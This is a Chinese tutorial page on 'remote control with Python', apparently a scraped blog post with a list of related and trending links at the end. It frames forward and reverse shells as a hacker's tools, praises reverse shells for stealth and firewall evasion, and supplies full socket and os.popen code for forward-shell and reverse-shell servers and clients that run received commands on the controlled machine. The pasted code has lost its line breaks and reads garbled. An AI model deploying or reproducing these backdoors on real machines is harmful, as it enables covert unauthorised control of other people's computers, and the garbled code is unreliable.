python实现远程控制
python实现远程控制
准备
需要调用socket库,os库
概念原理
要实现远程控制就是要获取对方电脑的一个“shell”
它是操作系统中用于人机交互的部分,windows最常见的shell就是cmd。
Shell从控制方向上说分如下两类:
1.正向shell
.被控制的电脑做服务器,黑客的电脑作客户端
.因为服务器需要不间断运行所以容易被检测到;
.过程可能被防火墙拦截
2.反向shell
.被控制的电脑做客户端,黑客的电脑作服务器使用
.客户端不用常开,隐蔽性强
.一般不易被防火墙拦截
3.其他
os库用来让作为服务器端的被控制电脑执行客户端给出的命令
socket库用来建立两者之间的通信“管道”
实现代码
正向shell服务器代码示例
import socket
import os
s=socket.socket() #生成一个管道
s.bind(("0.0.0.0",7777)) #开启管道监听
s.listen(1) #选择接受的管道连接的个数
sock,addr=s.accept() #接收对方的地址
while 1:command=sock.recv(1024).decode() #接收,解码if command=="exit":breakresult=os.popen(command).read() #在系统中执行客户端发来的命令并读sock.send(result.encode()) #读出来的执行结果发给客户端并加密
sock.close()
s.close()
正向shell客户端代码示例
import socket
s=socket.socket()
s.connect(("127.0.0.1",7777))
while 1:command=input("指令:")s.send(command.encode())if command=="exit":breakresult=s.recv(65536).decode()print(result)
s.close()
反向shell客户端代码示例
import socket
import oss=socket.socket()
s.connect(("127.0.0.1",6666))
while 1:command=s.recv(65536).decode()if command=="exit":breakif command.startswith("cd "):dir=command[3:].strip()try:os.chdir(dir)except:passresult=os.popen(command+" 2>&1").read() # 2>&1用于重定向输出,就是不报错if result=="":result="finished"s.send(result.encode())
s.close()
反向shell服务器代码示例
import sockets=socket.socket()
s.bind(("0.0.0.0",6666))
s.listen(1)
sock,addr=s.accept()
while 1:while 1:command=input("指令:")if command.strip():breaksock.send(command.encode())if command=="exit":breakresult=sock.recv(65536).decode()print(result)
sock.close()
s.close()
(注:作为服务器的端不要轻易打开,因为如上代码ip写作 0.0.0.0,任何人都可以登入,
而语法 s.listen()可以限制登入数量
以上为在本机做实验时的Ip)
python实现远程控制相关推荐
- 利用Python微信远程控制
利用Python&微信远程控制 概述 实现功能 准备事项 代码展示 消息的获取 消息的处理 注意事项 拓展延伸 概述 在网上偶然看到一个远程控制的小项目,就突发奇想 借题发挥,自己搞一搞,利用 ...
- python微信远程控制摄像头_python实现微信远程控制电脑
首先,我们要先看看微信远程控制电脑的原理是什么呢? 我们可以利用Python的标准库控制本机电脑,然后要实现远程的话,我们可以把电子邮件作为远程控制的渠道,我们用Python自动登录邮箱检测邮件,当我 ...
- 骚操作之Python微信远程控制摄像头!然后嘿嘿嘿!
盯着电脑工作大半天了,有点疲劳,想想同样苦逼盯着电脑的女朋友,就想逗逗她缓解一下疲劳. 于是一时手痒,开始了新一轮的骚操作,用Python基于itchat实现微信控制电脑打开摄像头拍摄当前电脑的使用者 ...
- Python微信远程控制摄像头-拍摄女朋友坐电脑前聊天时表情
盯着电脑工作大半天了,有点疲劳,想想同样苦逼盯着电脑的女朋友,就想逗逗她缓解一下疲劳. 于是一时手痒,开始了新一轮的骚操作,用Python基于itchat实现微信控制电脑打开摄像头拍摄当前电脑的使用者 ...
- python微信远程控制摄像头_【python版】利用微信远程控制你的电脑
============================================================================== 作者:xfkxfk 团队:F4ck Tea ...
- 用Python实现远程控制电脑关机(啧啧啧)
室友太懒,晚上电脑开热点经常忘记设置电脑自动关机,可苦了我这个勤奋的孩子...... 思路:python先登录邮箱,利用邮箱发送指令,每隔一段时间程序检测是否有关机指发送过来,然后把命令转成cmd命令 ...
- python 如何远程控制另一台机器-通过cmd执行文件
python 远程控制另一台机器通过cmd执行文件,通过本机控制远程主机执行代码. import wmi import pythoncom conn = pythoncom.CoInitialize( ...
- 利用Python实现远程控制电脑
两种方式吧,一种是用工具(较专业,功能多),另一种是写个脚本(仅为了好玩). 可以用这个来做下远程控制 ---- IIS7服务器管理工具.它的功能还是挺多的,可以在同一个窗口内浏览到多个服务器桌面的信 ...
- python手机远程控制电脑访问网页_Python 实战系列-微信或网页远程控制电脑
Python 实战系列-微信或网页远程控制电脑 本系列课程为Python实战系列课程:使用微信控制电脑,使用Python的Web框架Flask搭建网页, 并使用网页控制电脑:使用wxPython编写图 ...
最新文章
- a*算法matlab代码_蚁群算法(含MATLAB代码)
- 第七届蓝桥杯大赛个人赛省赛(软件类)真题4
- win下实现Linux的tab自动补全
- AS:Flash AS3中获取浏览器信息及URL相关参数(并非swf url地址)
- Python弹球游戏(tkinter模块编写)
- selenium.common.exceptions.WebDriverException:Message: 'chromedriver' executable needs to be in PATH
- 网上书店系统mysql设计_数据库设计--《网上书店系统》
- 干货 | 推荐几款实用的思维导图工具
- C语言图形化界面——含图形、按钮、鼠标、进度条等部件制作(带详细代码、讲解及注释)
- 计算机安装xp蓝屏怎么办,联想笔记本装xp系统蓝屏解决方法
- 《蔡康永的说话之道》书摘
- ESP-MESH 无线组网,让智能家居通信更方便 | ESP32轻松学(Arduino版)
- Android Studio 4.0.+NDK .so库生成打包
- 《 ERP高级计划》书的解读-APS算法分析之七分解技术(DT)(蔡颖)(转)
- 为什么建议将成员属性设置为私有
- Vue + Spring Boot 项目实战(四):数据库的引入
- 2.8 CSS3新特性
- Python爬虫代理IP(代理池)——加载和使用
- 病毒分析系列 _ 病毒分析环境搭建
- matlab图像处理 支持向量机,Matlab图像处理滑动窗口SVM
热门文章
- 黑苹果虚拟机好用吗_苹果手机上有什么好用的工作提醒便签软件工具吗?
- 字符转详细与初步了解for循环
- 【python-docx 06】理解word样式
- IFAHP直觉模糊层次分析法matlab
- MSBUILD : error MSB4132: The tools version “2.0“ is unrecognized. Available tools versions are “4.0“
- 国密算法的ekey基本使用的说明
- OneNav一为主题魔改教程(一):优化后台新增网站时调用API却没有赋好值的BUG,以减少复制编辑工作量--一梦
- 对象(创建对象、构造函数)
- 【Robomaster】电控入门手册
- SLAM——之Sophus函数库